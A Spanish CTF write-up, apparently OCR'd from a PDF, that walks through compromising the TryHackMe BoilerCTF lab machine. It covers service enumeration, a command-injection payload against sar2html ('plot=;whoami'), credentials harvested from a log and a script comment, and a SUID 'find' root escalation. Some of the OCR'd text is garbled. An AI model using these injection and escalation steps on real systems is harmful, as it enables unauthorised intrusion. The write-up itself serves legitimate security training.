

# Write-up

## Máquina BoilerCTF



Boiler CTF Intermediate level CTF

Autor: J0lm3d0







### Índice

1.	Introducción	<b>2</b>
2.	Enumeración de servicios y recopilación de información sensible	3
3.	Acceso a la máquina	11
4.	Escalada de privilegios	14





#### 1. Introducción

En este documento se recogen los pasos a seguir para la resolución de la máquina BoilerCTF de la plataforma TryHackMe. Se trata de una máquina Linux de 64 bits, que posee una dificultad media de resolución según la plataforma.

Para comenzar a atacar la máquina, debemos desplegarla desde la sala correspondiente de TryHackMe [https://tryhackme.com/room/boilerctf2]. Una vez desplegada, nos proporcionará la IP que se le ha asignado a la máquina (va variando con cada instancia desplegada) y podremos comenzar nuestro ataque.



#### 2. Enumeración de servicios y recopilación de información sensible

Para empezar, realizo un escaneo de todo el rango de puertos TCP mediante la herramienta  ${\it Nmap}.$ 



Figura 1: Escaneo de todo el rango de puertos TCP

En la figura 1 se puede observar los puertos que la máquina tiene abiertos. Después, aplico los scripts de enumeración por defecto y empleo la flag -sV para intentar conocer la versión y servicio que están ejecutando cada uno de los puertos que he detectado abiertos (Figura 2).

```
PORT
         STATE SERVICE VERSION
21/tcp
         open ftp
                        vsftpd 3.0.3
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
  ftp-syst:
      Connected to ::ffff:10.9.41.39
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      At session startup, client count was 1
      vsFTPd 3.0.3 - secure, fast, stable
 End of status
                       Apache httpd 2.4.18 ((Ubuntu))
80/tcp
         open http
 http-robots.txt: 1 disallowed entry
 _http-title: Apache2 Ubuntu Default Page: It works
 _http-server-header: Apache/2.4.18 (Ubuntu)
10000/tcp open http
                       MiniServ 1.930 (Webmin httpd)
_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
55007/tcp open ssh
                       OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
   2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
   256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
   256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Figura 2: Enumeración de los puertos abiertos

Tras el escaneo, lo primero que me llama atención es que el servicio FTP tiene habilitado el login anónimo, por lo que pruebo a acceder para ver el contenido, que se muestra en la figura 3.



```
(j0lm3d0 kali)-[~/Documentos/THM/BoilerCTF/scan]
  $ ftp 10.10.182.219
Connected to 10.10.182.219.
220 (vsFTPd 3.0.3)
Name (10.10.182.219:j0lm3d0): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x
              2 ftp
                          ftp
                                       4096 Aug 22
                                                     2019 .
              2 ftp
                          ftp
                                       4096 Aug 22
drwxr-xr-x
                                                     2019 ..
              1 ftp
                          ftp
                                         74 Aug 21
                                                     2019 .info.txt
-rw-r--r--
226 Directory send OK
```

Figura 3: Contenido del servidor FTP

Veo que existe un archivo "oculto" en formato .txt. Descargo el fichero y visualizo su contenido, que puede verse en la figura 4, comprobando que se encuentra codificado en algo que, a primera vista, me parece algún tipo de cifrado César.

Figura 4: Fichero de texto codificado con un algoritmo César

Pruebo a decodificarlo utilizando <u>CyberChef</u> y el algoritmo ROT13, obteniendo así el resultado que se muestra en la figura 5.

Output					start: end: length:	73 73 0

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!

Figura 5: Contenido decodificado del fichero de texto

Este fichero no da ninguna información para poder comprometer la máquina, simplemente indica que que se debe realizar una buena enumeración para resolverla (y eso es lo que vamos a hacer).

El servicio FTP no tiene mucho más que ofrecer, por lo que paso a enumerar los servidores web de los puertos 80 y 10000. El servidor del puerto 80 muestra en su ruta principal la página por defecto de Apache para Ubuntu, tal y como se observa en la figura 6.



Apache2 Ubuntu Default Page
ubuntu
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should <b>replace this file</b> (located at /var/www/html/index.html) before continuing to operate your HTTP server.
If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.
Configuration Overview
Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is <b>fully</b> <b>documented in /usr/share/doc/apache2/README.Debian.gz</b> . Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the <b>manual</b> if the apache2-doc package was installed on this server.
The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:
/etc/apache2/   apache2.conf

Figura 6: Página principal del servidor web del puerto 80

Por otra parte, tal y como se ve en la figura 7, el fichero "robots.txt" que había detectado *Nmap*, solo tiene deshabilitada la entrada raíz y muestra algunas rutas y unos números que, en principio, apuntan a un *rabbit hole*, por lo que, por el momento, los descartaré.

User-agent: \* Disallow: / /.sh /yellow /not /arrabit /hole /or /is /ii 079 084 108 105 677 668 089 050 077 071 678 107 079 084 086 104 097 122 073 051 089 122 085 048 077 064 103 121 089 109 070 104 678 084 069 049 079 068 081 075

Figura 7: Fichero "robots.txt" del servidor web del puerto 80

Paso al servidor web del puerto 10000, que está ejecutando un servicio **Webmin**, una herramienta de configuración de sistemas a través de la web para sistemas Unix. En la página principal vemos un panel login, tal y como se puede ver en la figura 8, pero no disponemos de credenciales.



Yo pas	w must enter a username and sword to login to the server on 10.10.182.219	
<b>A</b>	Username	
<b></b>	Password	
Ren	nember me	
	➡ Sign in	

Figura 8: Panel login de Webmin

En el segundo escaneo que realicé anteriormente con Nmap, aparecía la versión utilizada por el servicio (1.930), por lo que utilizo **SearchSploit** para buscar algún exploit que me permita bypassear la autenticación, tal y como se aprecia en la figura 9.

<pre>(j0lm3d0 kali)-[~/Documentos/THM/BoilerCTF/explotation]     searchsploit Webmin</pre>
Exploit Title
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal phpMyWebmin 1.0 - 'target' Remote File Inclusion phpMyWebmin 1.0 - 'window.php' Remote File Inclusion Webmin - Brute Force / Command Execution webmin 0.91 - Directory Traversal Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing Webmin 0.x - 'RPC' Privilege Escalation Webmin 1.5 - Brute Force / Command Execution Webmin 1.5 - Brute Force / Command Execution Webmin 1.5 - Web Brute Force (CGI) Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) Webmin 1.850 - Multiple Vulnerabilities Webmin 1.900 - Remote Command Execution (Metasploit) Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) Webmin 1.920 - Remote Code Execution Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) Webmin 1.920 - 'Package Updates' Escape Bypass RCE (Metasploit) Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF) Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF) Webmin 1.x - HTML Email Command Execution Webmin 1.220 / Usermin < 1.220 - Arbitrary File Disclosure Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)
Shellcodes: No Results

Figura 9: Búsqueda de exploits para el servicio Webmin



Pruebo el exploit 47293 (aplicaría para la versión 1.920), escrito en Bash y que aprovecha la vulnerabilidad CVE-2019-15107, pero, como puede verse en la figura 10, la salida me indica que el servidor no es vulnerable.



En la figura 11 se observa que, utilizando **BurpSuite**, veo la respuesta del servidor y compruebo que el cambio de contraseña (que era de lo que se aprovechaba la vulnerabilidad) no está habilitado, por lo que esta vía de explotación no es válida.

Re	esponse				
Pr	retty Raw Hex Render \n =				
1	HTTP/1.0 500 Perl execution failed				
2	Server: MiniServ/1.930				
З	Date: Sat, 20 Nov 2021 11:27:33 GMT				
4	Content-type: text/html; Charset=iso-8859-1				
5	Connection: close				
6					
7	<hl></hl>				
	Error - Perl execution failed				
8					
	Password changing is not enabled! at /usr/share/webmin/password_change.cgi line 12.				
9					
10					



Por tanto, vuelvo al servidor del puerto 80, para efectuar una búsqueda de directorios y/o ficheros ocultos mediante fuerza bruta utilizando **Gobuster**. El resultado de esta búsqueda puede apreciarse en la figura 12.

/.htaccess	(Status:	403)	[Size:	297]
/.htpasswd.php	(Status:	403)	[Size:	301]
/.hta	(Status:	403)	[Size:	292]
/.htpasswd.txt	(Status:	403)	[Size:	301]
/.htaccess.php	(Status:	403)	[Size:	301]
/.hta.php	(Status:	403)	[Size:	296]
/.htpasswd	(Status:	403)	[Size:	297]
/.hta.txt	(Status:	403)	[Size:	296]
/.htaccess.txt	(Status:	403)	[Size:	301]
/index.html	(Status:	200)	[Size:	11321]
/manual	(Status:	200)	[Size:	626]
/robots.txt	(Status:	200)	[Size:	257]
/server-status	(Status:	403)	[Size:	301]
/robots.txt	(Status:	200)	[Size:	257]
/joomla	(Status:	200)	[Size:	12463]

Figura 12: Búsqueda de rutas ocultas sobre la raíz del servidor web



Encuentro una ruta "/joomla" que contiene, como el nombre indica, un gestor de contenidos **Joomla!**. Se puede observar la página principal de este CMS en la figura 13.



Figura 13: Página principal del gestor de contenidos Joomla!

Tras revisar un poco más a fondo, veo que solo hay una entrada publicada sin ninguna información relevante y, además, pruebo a acceder a la ruta "/administrator" para entrar al panel de administrador con credenciales por defecto, pero no lo consigo.

Es por ello que vuelvo a buscar directorios y ficheros utilizando *Gobuster* sobre la ruta de *Joomla!*. En la figura 14 puede verse el resultado de esta búsqueda.



/.htpasswd	(Status:	403)	[Size:	304]
/.hta	(Status:	403)	[Size:	299]
/.htaccess	(Status:	403)	[Size:	304]
/.htpasswd.php	(Status:	403)	[Size:	308]
/.hta.txt	(Status:	403)	[Size:	303]
/.htaccess.php	(Status:	403)	[Size:	308]
/_archive	(Status:	200)	[Size:	162]
/_files	(Status:	200)	[Size:	168]
/_database	(Status:	200)	[Size:	160]
/.htpasswd.txt	(Status:	403)	[Size:	308]
/.hta.php	(Status:	403)	[Size:	303]
/.htaccess.txt	(Status:	403)	[Size:	308]
/~www	(Status:	200)	[Size:	162]
/_test	(Status:	200)	[Size:	4802]
/administrator	(Status:	200)	[Size:	5161]
/bin	(Status:	200)	[Size:	31]
/build	(Status:	200)	[Size:	3391]
/cache	(Status:	200)	[Size:	31]
/components	(Status:	200)	[Size:	31]
/configuration.php	(Status:	200)	[Size:	0]
/images	(Status:	200)	[Size:	31]
/index.php	(Status:	200)	[Size:	12484]
/includes	(Status:	200)	[Size:	31]
/index.php	(Status:	200)	[Size:	12484]
/installation	(Status:	200)	[Size:	5800]
/language	(Status:	200)	[Size:	31]
/libraries	(Status:	200)	[Size:	31]
/LICENSE.txt	(Status:	200)	[Size:	18092]
/layouts	(Status:	200)	[Size:	31]
/media	(Status:	200)	[Size:	31]
/modules	(Status:	200)	[Size:	31]
/plugins	(Status:	200)	[Size:	31]
/README.txt	(Status:	200)	[Size:	4793]
/templates	(Status:	200)	[Size:	31]
/tests	(Status:	200)	[Size:	1556]
/tmp	(Status:	200)	[Size:	31]
/web.config.txt	(Status:	200)	[Size:	1859]

Figura 14: Búsqueda de rutas ocultas sobre la ruta "/joomla" del servidor web



A primera vista, me resultan interesantes las rutas que comienzan por el carácter "\_", ya que es algo extraño, y también el fichero "web.config.txt".

Procedo a acceder a las rutas a través del navegador y me doy cuenta de que la mayoría se tratan de archivos *troll* o *rabbit holes*, exceptuando la ruta "\_test", que contiene un servicio **Sar2HTML**, tal y como se observa en la figura 15.

sar2html ( <u>Donate</u> if you like!)		COLLECTING SAR DATA
New	OS	<ol> <li>Use sar2ascii to generate a report:         <ul> <li>Download following tool to collect sar data from servers: <u>sar2ascii tar</u>,</li> <li>Untar it on the server which you will examine performance data.</li> <li>For FIPUX servers run "shast zar2ascii".</li> <li>For Linux or Sun Solaris servers run "bash sar2ascii".</li> <li>It will create the report with norshorshame-date.tar.gr under /mp directory.</li> <li>Cick "NEW" button, browse and select the report, cick "Upload report" button to upload the data.</li> <li>Or simply type "sar2htmi -m (sar2htmi report)" at command prompt.</li> </ul> </li> <li>Use built in report generator:         <ul> <li>Cick "NEW" button, enter ip address of host, user name and password and click "Capture report" button.</li> <li>Or simply type "sar2htmi -a [host ip] [user name] [password]" at command prompt.</li> </ul> </li> <li>NOTE: If sar data is not available even it is installed you need to add following lines to crontab: HP-UX:         <ul> <li>0,10,20,30,40,50 **** /usr/libin/sa/sa1</li> <li>5 18 *** /usr/libin/sa/sa2 -A</li> </ul> </li> </ol>
		INSTALLATION  Plotting tools, sar2html and index.php only run on Linux server. HPUX 11.11, 11.23, 11,31, Redhat 3, 4, 5, 6, 7, Suse 8, 9, 10, 11, 12, Ubuntu 18 and Solaris 5.9, 5.10 are supported for reporting. Instal Apache2, Php5, Expect and GnuPlot with png support (Suse11 is recommended. It provides gnuplot with native png support.) Edit php.inf lie and set: 'upload_max_filesize' to 2GB. 'post_max_size' to 80MB. Extract sar2html targ z under root directory of your web server or create subdirectory for it. Run 'Jsar2html -c' in order to configure sar2html. You need to know apache user and group for setup. Open http://IP ADDRESS OF WEB SERVERI/index.php Now it is ready to work.

Figura 15: Servicio Sar2HTML encontrado en la ruta "/joomla/\_test"



#### 3. Acceso a la máquina

Con la experiencia de anteriores máquinas, se que este servicio cuenta con una versión vulnerable a ejecución remota de código a través de la variable "plot" de PHP que se define en la URL, por lo que pruebo una inyección básica de comandos, tal y como se ve en la figura 16.

$\leftrightarrow$ $\rightarrow$ G	۵	0 🔏	10.10.49.165/joomla/_test/index.php?plot=;whoami
	sar2html ( <u>Donate</u> if you like!)		COLLECTING SAR DATA
New	;whoami		1. Use sar2ascii to generate a report:
Select Host		•	<ul> <li>Download following tool to collect sar data from servers: <u>sar2asci.tt</u></li> <li>Untar it on the server which you will examine performance data.</li> <li>For HPUX servers run "sh sar2asci".</li> <li>For Linux or Sun Solaris servers run "bash sar2asci".</li> </ul>
Select Host HPUX			<ul> <li>It will create the report with name sar2html-hostname-date.tar.gz ur</li> <li>Click "NEW" button, browse and select the report, click "Upload rep</li> <li>Or simply type "sar2html -m {sar2html report}" at command prompt.</li> </ul>
Linux			2. Use built in report generator:
SunOS			<ul> <li>Click "NEW" button, enter ip address of host, user name and passw</li> <li>Or simply type "sar2html -a [host ip] [user name] [password]" at con</li> </ul>
www-data			NOTE: If sar data is not available even it is installed you need to add followi

Figura 16: RCE a través del servicio Sar2HTML

Como se observa en la imagen, el comando se ejecuta y se muestra la salida en las opciones de uno de los desplegables. Para hacer más visible y rápida esta ejecución de comandos, decido crear un script en Bash (figura 17) que simule una shell realizando peticiones al servidor web mediante  $\boldsymbol{cURL}$ .



Figura 17: Script en Bash que simula una shell aprovechando la vulnerabilidad

Listando el directorio actual descubro un fichero de log que, como se ve en la figura 18, presenta las credenciales del servicio SSH de un usuario: "basterd"".



<b>s</b> ,/webshell.sh 10.10.49.165
\$ whoami
www-data
drwxr-xr-x 5 www-data www-data 4096 Aug 22 2019.
drwxr-xr-x 25 www-data www-data 4096 Aug 22 2019
-rwxr-xr-x 1 www-data www-data 53430 Aug 22 2019 index.php
-rwxr-xr-x 1 www-data www-data 716 Aug 21 2019 log.txt
-rwxr-xr-x 1 www-data www-data 53165 Mar 19 2019 sar2html
drwxr-xr-x 3 www-data www-data 4096 Aug 22 2019 sarFILE
\$ cat log.txt
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superior and the state of the sta
Aug 20 11:16:35 parrot sshd[2451]: pam unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 partet schel[2466]: Disconnected from user pertest 10 10 170 50 part 49824
Aug 20 11:16:36 partet schall=400]. Disom university formation partet for local for user pontert
Aug 20 11.10.30 partot sold[241], pagintA(sold-session), session closed for user percest
Aug 20 12:24-38 partor sing2443; Received signal 15; terminating.
<u>}</u>

Figura 18: Credenciales descubiertas en el fichero "log.txt"

Accedo mediante SSH a la máquina como "basterd" y, en su directorio personal, encuentro un script en Bash llamado "backup", cuyo contenido se puede ver en la figura 19.

basterd@Vulnerable:~\$ ls -la
total 24 druxr x4 bastord bastord 4006 Nov 21 17:25
drwxr-xr-x 4 root root 4096 Aug 22 2019
-rwxr-xr-x 1 stoner basterd 699 Aug 21 2019 backup.sh
-rw 1 basterd basterd 38 Nov 21 17:22 .bash_history
drwx 2 basterd basterd 4096 Aug 22 2019 .cache
drwxrwxr-x 2 basterd basterd 4096 Nov 21 17:24 .nano
basterd@Vulnerable:~\$ cat backup.sh
REMUTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
DATE=`date +%y\.%m\.%d\.`
USEP_stanor
dSER=5 collel
#5
ssh \$USER@\$REMOTE mkdir \$TARGET/\$DATE
if [ -d "\$SOURCE" ]; then
echo "Begining conv.of" \$i >> \$106
scp \$SOURCE/\$i \$USER@\$REMOTE:\$TARGET/\$DATE
echo \$i "completed" >> \$LOG
if [ -n `ssh \$USER@\$REMOTE ls \$TARGET/\$DATE/\$i 2>/dev/null` ];then
rm \$SOURCE/\$i
echo \$i "removed" >> \$LOG
echo "####################################
ecse echo "Conv not complete" >> \$106
exit 0
fi
done
etse
echo "Directory is not present" >> \$106
exit 0
fi

Figura 19: Script "backup" programado en Bash



Al parecer se trata de un script que guardaría una copia del directorio personal del usuario "stoner" en una máquina remota con IP 1.2.3.4. Pero lo que me llama la atención es el comentario, ya que podría ser la contraseña del usuario, al tener un formato similar al de "basterd".

Efectivamente, consigo conectarme mediante SSH con las credenciales obtenidas visualizo la primera flag, tal y como se observa en la figura 20.

```
stoner@Vulnerable:~$ ls -la
total 24
drwxr-x--- 4 stoner stoner 4096 Nov 21 17:30 .
drwxr-xr-x 4 root
                    root
                           4096 Aug 22
                                        2019 ...
-rw----- 1 root
                    stoner
                             12 Nov 21 17:30 .bash_history
drwx----- 2 stoner stoner 4096 Nov 21 17:25 .cache
drwxrwxr-x 2 stoner stoner 4096 Aug 22
                                        2019
                                             .nano
                             34 Aug 21
                                        2019 .secret
stoner@Vulnerable:~$ cat .secret
```

Figura 20: Flag de usuario no privilegiado



#### 4. Escalada de privilegios

Enumerando el sistema para escalar privilegios, hago una búsqueda de permisos SUID y compruebo que el binario **find** cuenta con este permiso, tal y como se aprecia en la figura 21.



Figura 21: Búsqueda de binarios con bit SUID activado

Con el permiso SUID y ejecutando el comando de una forma determinada, que se puede comprobar en <u>GTFOBins</u> y que muestro en la figura 22, se puede obtener una shell con privilegios de root.

<pre>stoner@Vulnerable:~\$ findexec /bin/bash -p \; -qui</pre>
bash-4.3# whoami
root
bash-4.3# ls -la /root
total 12
drwx 2 root root 4096 Aug 22 2019 .
drwxr-xr-x 22 root root 4096 Aug 22 2019
-rw-rr 1 root root 29 Aug 21 2019 root.txt
bash-4.3# cat /root/root.txt
bash-4.3# _

Figura 22: Flag de usuario privilegiado (root)